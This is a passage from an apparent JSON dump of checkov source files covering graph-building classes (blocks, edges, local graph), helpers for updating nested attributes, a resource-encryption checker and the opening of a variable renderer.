Enum):\n    KMS_VALUE = \"KMS\"\n    NODE_TO_NODE = \"node-to-node\"\n    DEFAULT_KMS = \"Default KMS\"\n    AES256 = \"AES256\"\n    AWS_KMS_VALUE = \"aws:kms\"\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/graph_components/block_types.py",
    "content": "from __future__ import annotations\n\nfrom dataclasses import dataclass\nfrom typing import cast, Literal\n\n\n@dataclass\nclass BlockType:\n    RESOURCE: Literal[\"resource\"] = \"resource\"\n    MODULE: Literal[\"module\"] = \"module\"\n\n    def get(self, attr_name: str) -> str:\n        return cast(\"str\", getattr(self, attr_name.upper()))\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/graph_components/blocks.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport typing\nfrom collections.abc import Collection\nfrom typing import Dict, Any, List, cast\n\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\nfrom checkov.common.graph.graph_builder.utils import calculate_hash, join_trimmed_strings\nfrom checkov.common.graph.graph_builder.variable_rendering.breadcrumb_metadata import BreadcrumbMetadata\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\nfrom bc_jsonpath_ng.ext import parse\n\nif typing.TYPE_CHECKING:\n    from bc_jsonpath_ng import JSONPath\n\n\nclass Block:\n    __slots__ = (\n        \"attributes\",\n        \"block_type\",\n        \"breadcrumbs\",\n        \"changed_attributes\",\n        \"config\",\n        \"id\",\n        \"name\",\n        \"path\",\n        \"source\",\n        \"has_dynamic_block\",\n        \"dynamic_attributes\",\n        \"foreach_attrs\"\n    )\n\n    jsonpath_parsed_statement_cache: \"dict[str, JSONPath]\" = {}  # noqa: CCE003  # global cache\n\n    def __init__(\n            self,\n            name: str,\n            config: Dict[str, Any],\n            path: str,\n            block_type: str,\n            attributes: Dict[str, Any],\n            id: str = \"\",\n            source: str = \"\",\n            has_dynamic_block: bool = False,\n            dynamic_attributes: dict[str, Any] | None = None\n    ) -> None:\n        \"\"\"\n            :param name: unique name given to the block, for example\n            :param config: the section in tf_definitions that belong to this block\n            :param path: the file location of the block\n            :param block_type: str\n            :param attributes: dictionary of the block's original attributes in the origin file\n        \"\"\"\n        self.name = name\n        self.config = pickle_deepcopy(config)\n        self.path = path\n        self.block_type = block_type\n        self.attributes = attributes\n        self.id = id\n        self.source = source\n        self.changed_attributes: Dict[str, List[Any]] = {}\n        self.breadcrumbs: Dict[str, List[Dict[str, Any]]] = {}\n\n        attributes_to_add = self._extract_inner_attributes(has_dynamic_block, dynamic_attributes)\n        self.attributes.update(attributes_to_add)\n\n    def _extract_inner_attributes(self, has_dynamic_block: bool = False, dynamic_attributes: dict[str, Any] | None = None) -> Dict[str, Any]:\n        attributes_to_add = {}\n        for attribute_key, attribute_value in self.attributes.items():\n            if has_dynamic_block and attribute_key in dynamic_attributes.keys():  # type: ignore\n                continue\n            if self.should_run_get_inner_attributes(attribute_value):\n                inner_attributes = self.get_inner_attributes(\n                    attribute_key=attribute_key,\n                    attribute_value=attribute_value,\n                )\n                attributes_to_add.update(inner_attributes)\n        return attributes_to_add\n\n    def should_run_get_inner_attributes(self, attribute_value: Any) -> bool:\n        return isinstance(attribute_value, dict) or (isinstance(attribute_value, list) and len(attribute_value) > 0\n                                                     and isinstance(attribute_value[0], dict))\n\n    def __str__(self) -> str:\n        return f\"{self.block_type}: {self.name}\"\n\n    def get_attribute_dict(self, add_hash: bool = True) -> Dict[str, Any]:\n        \"\"\"\n           :return: map of all the block's native attributes (from the source file),\n           combined with the attributes generated by the module builder.\n           If the attributes are not a primitive type, they are converted to strings.\n           \"\"\"\n        base_attributes = self.get_base_attributes()\n        self.get_origin_attributes(base_attributes)\n\n        if self.changed_attributes:\n            # add changed attributes only for calculating the hash\n            base_attributes[\"changed_attributes\"] = sorted(self.changed_attributes.keys())\n\n        if self.breadcrumbs:\n            sorted_breadcrumbs = dict(sorted(self.breadcrumbs.items()))\n            base_attributes[CustomAttributes.RENDERING_BREADCRUMBS] = sorted_breadcrumbs\n\n        if add_hash:\n            base_attributes[CustomAttributes.HASH] = calculate_hash(base_attributes)\n\n        if \"changed_attributes\" in base_attributes:\n            # removed changed attributes if it was added previously for calculating hash.\n            del base_attributes[\"changed_attributes\"]\n\n        return base_attributes\n\n    def get_origin_attributes(self, base_attributes: Dict[str, Any]) -> None:\n        for attribute_key in list(self.attributes.keys()):\n            attribute_value = self.attributes[attribute_key]\n            if isinstance(attribute_value, list) and len(attribute_value) == 1:\n                if '.' not in attribute_key:\n                    attribute_value = attribute_value[0]\n            # needs to be checked before adding anything to 'base_attributes'\n            if attribute_key == \"self\":\n                base_attributes[\"self_\"] = attribute_value\n                continue\n            if isinstance(attribute_value, (list, dict)):\n                inner_attributes = self.get_inner_attributes(attribute_key, attribute_value, False)\n                base_attributes.update(inner_attributes)\n\n            base_attributes[attribute_key] = attribute_value\n\n    def get_hash(self) -> str:\n        attributes_dict = self.get_attribute_dict()\n        return cast(\"str\", attributes_dict.get(CustomAttributes.HASH, \"\"))\n\n    def update_attribute(\n        self,\n        attribute_key: str,\n        attribute_value: Any,\n        change_origin_id: int | None,\n        previous_breadcrumbs: list[BreadcrumbMetadata],\n        attribute_at_dest: str | None,\n        transform_step: bool = False,\n    ) -> None:\n        self.update_inner_attribute(\n            attribute_key=attribute_key,\n            nested_attributes=self.attributes,\n            value_to_update=attribute_value\n        )\n\n        if (\n            self._should_add_previous_breadcrumbs(change_origin_id, previous_breadcrumbs, attribute_at_dest)\n            and change_origin_id is not None\n        ):\n            previous_breadcrumbs.append(BreadcrumbMetadata(change_origin_id, attribute_at_dest))\n\n        # update the numbered attributes, if the new value is a list\n        if attribute_value and isinstance(attribute_value, list):\n            self.update_list_attribute(attribute_key=attribute_key, attribute_value=attribute_value)\n\n        attribute_key_parts = attribute_key.split(\".\")\n        if len(attribute_key_parts) == 1:\n            self.attributes[attribute_key] = attribute_value\n            if self._should_set_changed_attributes(change_origin_id, attribute_at_dest):\n                self.changed_attributes[attribute_key] = previous_breadcrumbs\n            return\n        for i in range(len(attribute_key_parts)):\n            key = join_trimmed_strings(char_to_join=\".\", str_lst=attribute_key_parts, num_to_trim=i)\n            if key.find(\".\") > -1:\n                additional_changed_attributes = self.extract_additional_changed_attributes(key)\n                if key in self.attributes and isinstance(self.attributes[key], dict) and key != attribute_key:\n                    try:\n                        self._update_attribute_based_on_jsonpath_key(attribute_value, key)\n                    except Exception as e:\n                        logging.debug(f\"Failed updating attribute for key: {key} and value {attribute_value}.\"\n                                      f\"Falling back to explicitly setting it.\"\n                                      f\"Exception - {e}\")\n                        self.attributes[key] = attribute_value\n                else:\n                    self.attributes[key] = attribute_value\n                end_key_part = attribute_key_parts[len(attribute_key_parts) - 1 - i]\n                if transform_step and end_key_part in (\"1\", \"2\"):\n                    # if condition logic during the transform step breaks the values\n                    return\n                attribute_value = {end_key_part: attribute_value}\n                if self._should_set_changed_attributes(change_origin_id, attribute_at_dest):\n                    self.changed_attributes[key] = previous_breadcrumbs\n                    if additional_changed_attributes:\n                        for changed_attribute in additional_changed_attributes:\n                            self.changed_attributes[changed_attribute] = previous_breadcrumbs\n\n    def _update_attribute_based_on_jsonpath_key(self, attribute_value: Any, key: str) -> None:\n        \"\"\"\n        When updating all the attributes we might try to update a specific attribute inside a complex object,\n        so we use jsonpath to refer to the specific location only.\n        \"\"\"\n        if key not in Block.jsonpath_parsed_statement_cache:\n            jsonpath_key = self._get_jsonpath_key(key)\n            expr = parse(jsonpath_key)\n            Block.jsonpath_parsed_statement_cache[key] = expr\n        else:\n            expr = Block.jsonpath_parsed_statement_cache[key]\n        match = expr.find(self.attributes)\n        if match:\n            match[0].value = attribute_value\n        return None\n\n    @staticmethod\n    def _get_jsonpath_key(key: str) -> str:\n        jsonpath_key = \"$.\"\n        key_parts = key.split(\".\")\n        updated_parts = []\n        for part in key_parts:\n            if part.isnumeric():\n                updated_parts.append(f\"[{part}]\")\n            elif \"/\" in part or \"::\" in part:\n                updated_parts.append(f'\"{part}\"')\n            else:\n                updated_parts.append(part)\n        jsonpath_key += \".\".join(updated_parts)\n        # Replace .0 with [0] to match jsonpath style\n        jsonpath_key = jsonpath_key.replace(\".[\", \"[\")\n        return jsonpath_key\n\n    def update_inner_attribute(\n        self, attribute_key: str, nested_attributes: list[Any] | dict[str, Any], value_to_update: Any\n    ) -> None:\n        split_key = attribute_key.split(\".\")\n        i = 1\n        curr_key = \".\".join(split_key[0:i])\n        if isinstance(nested_attributes, list):\n            if curr_key.isnumeric():\n                curr_key_int = int(curr_key)\n                if curr_key_int < len(nested_attributes):\n                    if not isinstance(nested_attributes[curr_key_int], dict):\n                        nested_attributes[curr_key_int] = value_to_update\n                    else:\n                        self.update_inner_attribute(\n                            \".\".join(split_key[i:]), nested_attributes[curr_key_int], value_to_update\n                        )\n            else:\n                for inner in nested_attributes:\n                    self.update_inner_attribute(curr_key, inner, value_to_update)\n        elif isinstance(nested_attributes, dict):\n            while curr_key not in nested_attributes and i <= len(split_key):\n                i += 1\n                curr_key = \".\".join(split_key[0:i])\n            if attribute_key in nested_attributes.keys():\n                nested_attributes[attribute_key] = value_to_update\n            if len(split_key) == 1 and len(curr_key) > 0:\n                nested_attributes[curr_key] = value_to_update\n            elif curr_key in nested_attributes.keys():\n                self.update_inner_attribute(\".\".join(split_key[i:]), nested_attributes[curr_key], value_to_update)\n\n    def update_list_attribute(self, attribute_key: str, attribute_value: Any) -> None:\n        \"\"\"Updates list attributes with their index\"\"\"\n\n        for idx, value in enumerate(attribute_value):\n            self.attributes[f\"{attribute_key}.{idx}\"] = value\n\n    @staticmethod\n    def _should_add_previous_breadcrumbs(\n        change_origin_id: int | None, previous_breadcrumbs: list[BreadcrumbMetadata], attribute_at_dest: str | None\n    ) -> bool:\n        return not previous_breadcrumbs or previous_breadcrumbs[-1].vertex_id != change_origin_id\n\n    def extract_additional_changed_attributes(self, attribute_key: str) -> List[str]:\n        \"\"\"\n        override in case of a special case where additional attributes are needed to be tracked included in self.changed_attributes\n        and self.breadcrumbs, such as terraform dynamic blocks\n        :param attribute_key: JSONPath notation of an attribute key that is used for extraction\n        :return: list of the additional attributes, in JSONPath notation\n        \"\"\"\n        return []\n\n    @staticmethod\n    def _should_set_changed_attributes(change_origin_id: int | None, attribute_at_dest: str | None) -> bool:\n        return True\n\n    def get_export_data(self) -> Dict[str, Any]:\n        return {\"type\": self.block_type, \"name\": self.name, \"path\": self.path}\n\n    def get_base_attributes(self) -> Dict[str, Any]:\n        return {\n            CustomAttributes.BLOCK_NAME: self.name,\n            CustomAttributes.BLOCK_TYPE: self.block_type,\n            CustomAttributes.FILE_PATH: self.path,\n            CustomAttributes.CONFIG: self.config,\n            CustomAttributes.LABEL: str(self),\n            CustomAttributes.ID: self.id,\n            CustomAttributes.SOURCE: self.source,\n        }\n\n    @classmethod\n    def get_inner_attributes(\n        cls,\n        attribute_key: str,\n        attribute_value: str | List[str] | dict[str, Any],\n        strip_list: bool = True  # used by subclass\n    ) -> dict[str, Any]:\n        inner_attributes: dict[str, Any] = {}\n\n        if isinstance(attribute_value, (dict, list)):\n            inner_attributes[attribute_key] = [None] * len(attribute_value) if isinstance(attribute_value, list) else {}\n            iterator: Collection[int] | Collection[str] = range(len(attribute_value)) if isinstance(\n                attribute_value, list\n            ) else list(\n                attribute_value.keys()\n            )\n            for key in iterator:\n                if key != \"\":\n                    inner_key = f\"{attribute_key}.{key}\"\n                    inner_value = attribute_value[key]  # type:ignore[index]\n                    inner_attributes.update(cls.get_inner_attributes(inner_key, inner_value))\n                    inner_attributes[attribute_key][key] = inner_attributes[inner_key]\n                else:\n                    del attribute_value[key]  # type:ignore[arg-type]\n        else:\n            inner_attributes[attribute_key] = attribute_value\n        return inner_attributes\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/graph_components/edge.py",
    "content": "from typing import Any, Dict\n\n\nclass Edge:\n    __slots__ = (\"dest\", \"label\", \"origin\")\n\n    def __init__(self, origin: int, dest: int, label: str) -> None:\n        self.origin = origin\n        self.dest = dest\n        self.label = label\n\n    def __str__(self) -> str:\n        return f\"[{self.origin} -({self.label})-> {self.dest}]\"\n\n    def __eq__(self, other: Any) -> bool:\n        return isinstance(other, Edge) and str(self) == str(other)\n\n    def __ne__(self, other: Any) -> bool:\n        return not self.__eq__(other)\n\n    def __hash__(self) -> int:\n        return hash(str(self))\n\n    def to_dict(self) -> Dict[str, Any]:\n        return {\n            'origin': self.origin,\n            'dest': self.dest,\n            'label': self.label\n        }\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/graph_components/generic_resource_encryption_base.py",
    "content": "from typing import Dict, List, Union, Tuple, Any\n\nfrom checkov.common.graph.graph_builder import EncryptionTypes\n\n\nclass GenericResourceEncryptionBase:\n    def __init__(\n        self,\n        resource_type: str,\n        attribute_values_map: Dict[str, Union[List[bool], List[str]]],\n        enabled_by_default: bool = False,\n        node_to_node_encryption: str = \"\"\n    ) -> None:\n        \"\"\"\n        :param resource_type:           The resource type this checks. Only helps with debugging.\n        :param attribute_values_map:    A dict that maps each attribute to its expected values. An attribute which\n                                        points to an empty array can hold any value, except None, and identify the\n                                        resource as an encrypted resource.\n        :param enabled_by_default:      Some resources are encrypted by default, even if no configuration is present.\n                                        Some are not. This helps implement that logic\n        \"\"\"\n        self.enabled_by_default = enabled_by_default\n        self.attribute_values_map = attribute_values_map\n        self.resource_type = resource_type\n        self.node_to_node_encryption = node_to_node_encryption\n        self.default_description = \"\"\n\n    def is_encrypted(self, atts_dict: Dict[str, Any]) -> Tuple[bool, str]:\n        result = True\n        result_description = \"\"\n        for att, expected_vals in self.attribute_values_map.items():\n            att_value = atts_dict.get(att)\n            if att_value:\n                result &= (len(expected_vals) == 0 and att_value is not None) or att_value in expected_vals\n                if result:\n                    if att_value == EncryptionTypes.AES256.value:\n                        result_description = att_value\n                    elif self.node_to_node_encryption in att:\n                        result_description = EncryptionTypes.NODE_TO_NODE.value\n                    elif result_description == \"\":\n                        result_description = EncryptionTypes.KMS_VALUE.value\n\n        if result_description == \"\" and result:\n            # No encryption config was found. Drop back to defaults:\n            result = self.enabled_by_default\n            result_description = self.default_description if self.enabled_by_default else \"\"\n\n        return result, result_description\n\n    def __str__(self) -> str:\n        return f\"GenericResourceEncryption[{self.resource_type}]\"\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/graph_resources_encription_manager.py",
    "content": "from dataclasses import dataclass\nfrom typing import Any, Dict, Optional\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import EncryptionValues\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\n\n\n@dataclass\nclass EncryptionResult:\n    encrypted: str\n    reason: str\n\n\nclass GraphResourcesEncryptionManager():\n    def __init__(self) -> None:\n        self._encription_by_resource_type: Dict[str, Any] = {}\n\n    def set_encription_by_resource_type(self, encription_by_resource_type: Dict[str, Any]) -> None:\n        self._encription_by_resource_type = encription_by_resource_type\n\n    def get_encryption_result(self, vertex: Block) -> Optional[EncryptionResult]:\n        resource_type = vertex.id.split(\".\")[0]\n        encryption_conf = self._encription_by_resource_type.get(resource_type)\n        if not encryption_conf:\n            return None\n        attributes = vertex.get_attribute_dict()\n        is_encrypted, reason = encryption_conf.is_encrypted(attributes)\n        # TODO: Does not support possible dependency (i.e. S3 Object being encrypted due to S3 Bucket config)\n        encrypted = (EncryptionValues.ENCRYPTED.value if is_encrypted else EncryptionValues.UNENCRYPTED.value)\n        return EncryptionResult(encrypted, reason)\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections import defaultdict\nfrom functools import partial\nfrom typing import List, Dict, Callable, Union, Any, Set, Iterable, TypeVar, Generic, TYPE_CHECKING\n\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.graph.graph_builder.graph_resources_encription_manager import GraphResourcesEncryptionManager\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\n\nif TYPE_CHECKING:\n    from checkov.common.graph.graph_builder import Edge\n    from checkov.common.graph.graph_builder.graph_components.blocks import Block  # noqa\n\n_Block = TypeVar(\"_Block\", bound=\"Block\")\n\n\nclass LocalGraph(Generic[_Block]):\n    def __init__(self) -> None:\n        self.vertices: List[_Block] = []\n        self.edges: List[Edge] = []\n        self.in_edges: Dict[int, List[Edge]] = defaultdict(list)  # map between vertex index and the edges entering it\n        self.out_edges: Dict[int, List[Edge]] = defaultdict(list)  # map between vertex index and the edges exiting it\n        self.vertices_by_block_type: Dict[str, List[int]] = defaultdict(list)\n        self.vertex_hash_cache: Dict[int, str] = defaultdict(str)\n        self.vertices_block_name_map: Dict[str, Dict[str, List[int]]] = defaultdict(partial(defaultdict, list))\n        self._graph_resource_encryption_manager = GraphResourcesEncryptionManager()\n\n    @abstractmethod\n    def build_graph(self, render_variables: bool) -> None:\n        pass\n\n    def get_vertices_with_degrees_conditions(\n        self, out_degree_cond: Callable[[int], bool], in_degree_cond: Callable[[int], bool]\n    ) -> Set[int]:\n        vertices_with_out_degree = {\n            vertex_index for vertex_index, vertex_value in self.out_edges.items() if out_degree_cond(len(vertex_value))\n        }\n        vertices_with_in_degree = {\n            vertex_index for vertex_index, vertex_value in self.in_edges.items() if in_degree_cond(len(vertex_value))\n        }\n\n        return vertices_with_in_degree.intersection(vertices_with_out_degree)\n\n    def get_in_edges(self, end_vertices: Iterable[int]) -> List[Edge]:\n        res = []\n        for vertex in end_vertices:\n            res.extend(self.in_edges.get(vertex, []))\n        return self.sort_edged_by_dest_out_degree(res)\n\n    def get_in_edges_deduped(self, end_vertices: Iterable[int]) -> Set[Edge]:\n        res = set()\n        for vertex in end_vertices:\n            res.update(self.in_edges.get(vertex, []))\n        return res\n\n    def sort_edged_by_dest_out_degree(self, edges: Iterable[Edge]) -> List[Edge]:\n        edged_by_out_degree: Dict[int, List[Edge]] = {}\n        for edge in edges:\n            dest_out_degree = len(self.out_edges[edge.dest])\n            edged_by_out_degree.setdefault(dest_out_degree, []).append(edge)\n        sorted_edges = []\n        for degree in sorted(edged_by_out_degree.keys()):\n            sorted_edges.extend(edged_by_out_degree[degree])\n        return sorted_edges\n\n    @abstractmethod\n    def update_vertices_configs(self) -> None:\n        pass\n\n    @staticmethod\n    @abstractmethod\n    def update_vertex_config(vertex: _Block, changed_attributes: Union[List[str], Dict[str, Any]], has_dynamic_blocks: bool = False) -> None:\n        pass\n\n    @abstractmethod\n    def get_resources_types_in_graph(self) -> List[str]:\n        pass\n\n    def get_vertex_attributes_by_index(self, index: int, add_hash: bool = True) -> Dict[str, Any]:\n        return self.vertices[index].get_attribute_dict(add_hash)\n\n    def update_vertex_attribute(\n        self,\n        vertex_index: int,\n        attribute_key: str,\n        attribute_value: Any,\n        change_origin_id: int | None,\n        attribute_at_dest: str | None,\n        transform_step: bool = False\n    ) -> None:\n        previous_breadcrumbs = []\n        if attribute_at_dest and change_origin_id is not None:\n            previous_breadcrumbs = self.vertices[change_origin_id].changed_attributes.get(attribute_at_dest, [])\n        self.vertices[vertex_index].update_attribute(\n            attribute_key, attribute_value, change_origin_id, previous_breadcrumbs, attribute_at_dest, transform_step\n        )\n\n    def calculate_encryption_attribute(self, encription_by_resource_type: Dict[str, Any]) -> None:\n        self._graph_resource_encryption_manager.set_encription_by_resource_type(encription_by_resource_type)\n        for vertex_index in self.vertices_by_block_type.get(BlockType.RESOURCE, []):\n            vertex = self.vertices[vertex_index]\n            encryption_result = self._graph_resource_encryption_manager.get_encryption_result(vertex)\n            if not encryption_result:\n                continue\n            vertex.attributes[CustomAttributes.ENCRYPTION] = encryption_result.encrypted\n            vertex.attributes[CustomAttributes.ENCRYPTION_DETAILS] = encryption_result.reason\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/utils.py",
    "content": "from __future__ import annotations\n\nimport concurrent\nimport hashlib\nfrom typing import Any, Callable, overload, Union, List, Dict\nimport concurrent.futures\n\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.type_forcers import force_int\n\n\ndef calculate_hash(data: Any) -> str:\n    sha256 = hashlib.sha256(str(data).encode(\"utf-8\"))\n    return sha256.hexdigest()\n\n\ndef join_trimmed_strings(char_to_join: str, str_lst: list[str], num_to_trim: int) -> str:\n    return char_to_join.join(str_lst[: len(str_lst) - num_to_trim])\n\n\ndef run_function_multithreaded(\n    func: Callable[..., Any], data: list[list[Any]], max_group_size: int, num_of_workers: int | None = None\n) -> None:\n    groups_of_data = [data[i : i + max_group_size] for i in range(0, len(data), max_group_size)]\n    if not num_of_workers:\n        num_of_workers = len(groups_of_data)\n    if num_of_workers > 0:\n        with concurrent.futures.ThreadPoolExecutor(max_workers=num_of_workers) as executor:\n            futures = {executor.submit(func, data_group): data_group for data_group in groups_of_data}\n            wait_result = concurrent.futures.wait(futures)\n            if wait_result.not_done:\n                raise Exception(f\"failed to perform {func.__name__}\")\n            for future in futures:\n                try:\n                    future.result()\n                except Exception:\n                    raise\n\n\ndef filter_sub_keys(key_list: list[str]) -> list[str]:\n    filtered_key_list = []\n    for key in key_list:\n        if not any(other_key != key and other_key.startswith(key) for other_key in key_list) and is_include_dup_dynamic(key, key_list):\n            filtered_key_list.append(key)\n    return filtered_key_list\n\n\ndef is_include_dup_dynamic(key: str, list_keys: list[str]) -> bool:\n    return f\"dynamic.{key.split('.')[0]}\" not in list_keys\n\n\ndef adjust_value(element_name: str, value: Any) -> Any:\n    \"\"\"Adjusts the value, if the 'element_name' references a nested key\n\n    Ex:\n    element_name = publicKey.keyData\n    value = {\"keyData\": \"key-data\", \"path\": \"path\"}\n\n    returns new_value = \"key-data\"\n    \"\"\"\n\n    if \".\" in element_name and isinstance(value, dict):\n        key_parts = element_name.split(\".\")\n        new_value = value.get(key_parts[1])\n\n        if new_value is None:\n            # couldn't find key in in value object\n            return None\n\n        return adjust_value(\".\".join(key_parts[1:]), new_value)\n\n    return value\n\n\ndef to_list(data: Any) -> list[Any] | dict[str, Any]:\n    if isinstance(data, list) and len(data) == 1 and (isinstance(data[0], str) or isinstance(data[0], int)):\n        return data\n    elif isinstance(data, list):\n        return [to_list(x) for x in data]\n    elif isinstance(data, dict):\n        return {key: to_list(val) for key, val in data.items()}\n    else:\n        return [data]\n\n\n@overload\ndef update_dictionary_attribute(\n        config: dict[str, Any], key_to_update: str, new_value: Any, dynamic_blocks: bool = False\n) -> dict[str, Any]:\n    ...\n\n\n@overload\ndef update_dictionary_attribute(\n        config: list[Any], key_to_update: str, new_value: Any, dynamic_blocks: bool = False\n) -> list[Any]:\n    ...\n\n\ndef update_dictionary_attribute(\n    config: Union[List[Any], Dict[str, Any]], key_to_update: str, new_value: Any, dynamic_blocks: bool = False\n) -> Union[List[Any], Dict[str, Any]]:\n    key_parts = key_to_update.split(\".\")\n    if '\"' in key_to_update:\n        key_parts = join_double_quote_surrounded_dot_split(str_parts=key_parts)\n\n    if isinstance(config, dict) and isinstance(key_parts, list):\n        key = key_parts[0]\n        inner_config = config.get(key)\n\n        if inner_config is not None:\n            if len(key_parts) == 1:\n                if isinstance(inner_config, list) and not isinstance(new_value, list):\n                    new_value = [new_value]\n                config[key] = to_list(new_value) if dynamic_blocks else new_value\n                return config\n            else:\n                config[key] = update_dictionary_attribute(\n                    inner_config, \".\".join(key_parts[1:]), new_value, dynamic_blocks=dynamic_blocks\n                )\n        else:\n            for key in config:\n                config[key] = update_dictionary_attribute(\n                    config[key], key_to_update, new_value, dynamic_blocks=dynamic_blocks\n                )\n    if isinstance(config, list):\n        return update_list_attribute(\n            config=config,\n            key_parts=key_parts,\n            key_to_update=key_to_update,\n            new_value=new_value,\n            dynamic_blocks=dynamic_blocks,\n        )\n    return config\n\n\ndef update_list_attribute(\n    config: list[Any], key_parts: list[str], key_to_update: str, new_value: Any, dynamic_blocks: bool = False\n) -> list[Any] | dict[str, Any]:\n    \"\"\"Updates a list attribute in the given config\"\"\"\n\n    if not config:\n        # happens when we can't correctly evaluate something, because of strange defaults or 'for_each' blocks\n        return config\n\n    if len(key_parts) == 1 and len(config) == 1:\n        idx = force_int(key_parts[0])\n        # Avoid changing the config and cause side effects\n        inner_config = pickle_deepcopy(config[0])\n\n        if idx is not None and isinstance(inner_config, list):\n            if not inner_config:\n                # happens when config = [[]]\n                return config\n\n            inner_config[idx] = new_value\n            return [inner_config]\n    entry_to_update = int(key_parts[0]) if key_parts[0].isnumeric() else -1\n    for i, config_value in enumerate(config):\n        if entry_to_update == -1:\n            config[i] = update_dictionary_attribute(config=config_value, key_to_update=key_to_update, new_value=new_value, dynamic_blocks=dynamic_blocks)\n        elif entry_to_update == i:\n            config[i] = update_dictionary_attribute(config=config_value, key_to_update=\".\".join(key_parts[1:]), new_value=new_value, dynamic_blocks=dynamic_blocks)\n\n    return config\n\n\ndef join_double_quote_surrounded_dot_split(str_parts: list[str]) -> list[str]:\n    \"\"\"Joins back split strings which enclosed a dot by double quotes\n\n    ex.\n\n    ['google_project_iam_binding', 'role[\"roles/logging', 'admin\"]'] -> ['google_project_iam_binding', 'role[\"roles/logging.admin\"]']\n\n    If someone finds a better solution feel free to replace it!\n    \"\"\"\n\n    new_str_parts = []\n    joined_str_parts: list[str] = []\n    for part in str_parts:\n        if not joined_str_parts:\n            if '\"' not in part:\n                new_str_parts.append(part)\n            elif part.count('\"') >= 2:\n                new_str_parts.append(part)\n            else:\n                joined_str_parts.append(part)\n            continue\n\n        joined_str_parts.append(part)\n\n        if '\"' in part:\n            new_str_parts.append(\".\".join(joined_str_parts))\n            joined_str_parts = []\n\n    return new_str_parts\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/variable_rendering/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/graph/graph_builder/variable_rendering/breadcrumb_metadata.py",
    "content": "from __future__ import annotations\n\n\nclass BreadcrumbMetadata:\n    __slots__ = (\"attribute_key\", \"vertex_id\")\n\n    def __init__(self, vertex_id: int, attribute_key: str | None):\n        self.vertex_id = vertex_id\n        self.attribute_key = attribute_key\n"
  },
  {
    "path": "checkov/common/graph/graph_builder/variable_rendering/renderer.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nimport warnings\nfrom abc import ABC, abstractmethod\nfrom typing import TYPE_CHECKING, List, Dict, Any, Iterable, TypeVar, Generic\n\nfrom checkov.common.graph.graph_builder import Edge\nfrom checkov.common.graph.graph_builder.utils import run_function_multithreaded\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\n\n\nif TYPE_CHECKING:\n    from checkov.common.graph.graph_builder.graph_components.blocks import Block  # noqa\n    from checkov.common.graph.graph_builder.local_graph import LocalGraph  # noqa\n\n_LocalGraph = TypeVar(\"_LocalGraph\", bound=\"LocalGraph[Any]\")\n\n\nclass VariableRenderer(ABC, Generic[_LocalGraph]):\n    MAX_NUMBER_OF_LOOPS = 50\n\n    def __init__(self, local_graph: _LocalGraph) -> None:\n        warnings.filterwarnings(\"ignore\", category=SyntaxWarning)\n        self.local_graph = local_graph\n        self.run_async = True if os.getenv(\"RENDER_VARIABLES_ASYNC\") == \"True\" else False\n        self.max_workers = int(os.getenv(\"RENDER_ASYNC_MAX_WORKERS\", 50))\n        self.duplicate_percent = int(os.getenv(\"RENDER_EDGES_DUPLICATE_PERCENT\", 90))\n        self.duplicate_iter_count = int(os.getenv(\"RENDER_EDGES_DUPLICATE_ITER_COUNT\", 4))\n        self.done_edges_by_origin_vertex: Dict[int, List[Edge]] = {}\n        self.replace_cache: List[Dict[str, Any]] = [{}] * len(local_graph.vertices)\n        self.vertices_index_to_render: List[int] = []\n\n    def render_variables_from_local_graph(self) -> None:\n        self._render_variables_from_edges()\n        self._render_variables_from_vertices()\n\n    def _render_variables_from_edges(self) -> None:\n        end_vertices_indexes = self._get_initial_end_vertices()\n        edges_to_render = self.local_graph.get_in_edges(end_vertices_indexes)\n        if self.vertices_index_to_render:\n            edges_to_render = self._remove_unrelated_edges(edges_to_render)\n\n        end_vertices_indexes = set()\n        loops = 0\n        evaluated_edges_cache: list[list[Edge]] = [[], []]\n        duplicates_count = 0\n\n        while edges_to_render:\n            evaluated_edges_two_iter_ago = evaluated_edges_cache[-2]\n            intersection_edges = set(edges_to_render).intersection(evaluated_edges_two_iter_ago)\n            match_percent = int((len(intersection_edges) / len(edges_to_render)) * 100)\n            if match_percent > self.duplicate_percent:\n                duplicates_count += 1\n            if duplicates_count > self.duplicate_iter_count:\n                logging.info(f\"Reached too many edge duplications of {self.duplicate_percent}% for {self.duplicate_iter_count} iterations. breaking.\")\n                break\n            evaluated_edges_cache.append(edges_to_render)\n            logging.debug(f\"evaluating {len(edges_to_render)} edges; loop_num={loops}\")\n\n            edges_groups = self.group_edges_by_origin_and_label(edges_to_render)\n\n            self._evaluate_edge_groups(edges_groups)\n\n            self._update_done_edges_by_origin_vertex(edges_to_render)\n\n            self._update_end_vertices_indexes(edges_to_render, end_vertices_indexes)\n\n            new_edges_to_render = self.local_graph.get_in_edges_deduped(end_vertices_indexes)\n\n            edges_to_render = self.local_graph.sort_edged_by_dest_out_degree(\n                new_edges_to_render - set(edges_to_render)\n            )\n\n            loops += 1\n            if loops >= self.MAX_NUMBER_OF_LOOPS:\n                logging.warning(f\"Reached max ({self.MAX_NUMBER_OF_LOOPS}) graph edge evaluation loops, breaking.\")\n                break\n\n        if self.vertices_index_to_render:\n            return\n        self.local_graph.update_vertices_configs()\n        logging.debug(\"done evaluating edges\")\n        self.evaluate_non_rendered_values()\n        logging.debug(\"done evaluate_non_rendered_values\")\n\n    def _get_initial_end_vertices(self) -> set[int]:\n        return self.local_graph.get_vertices_with_degrees_conditions(\n            out_degree_cond=lambda d: d == 0,\n            in_degree_cond=lambda d: d > 0,\n    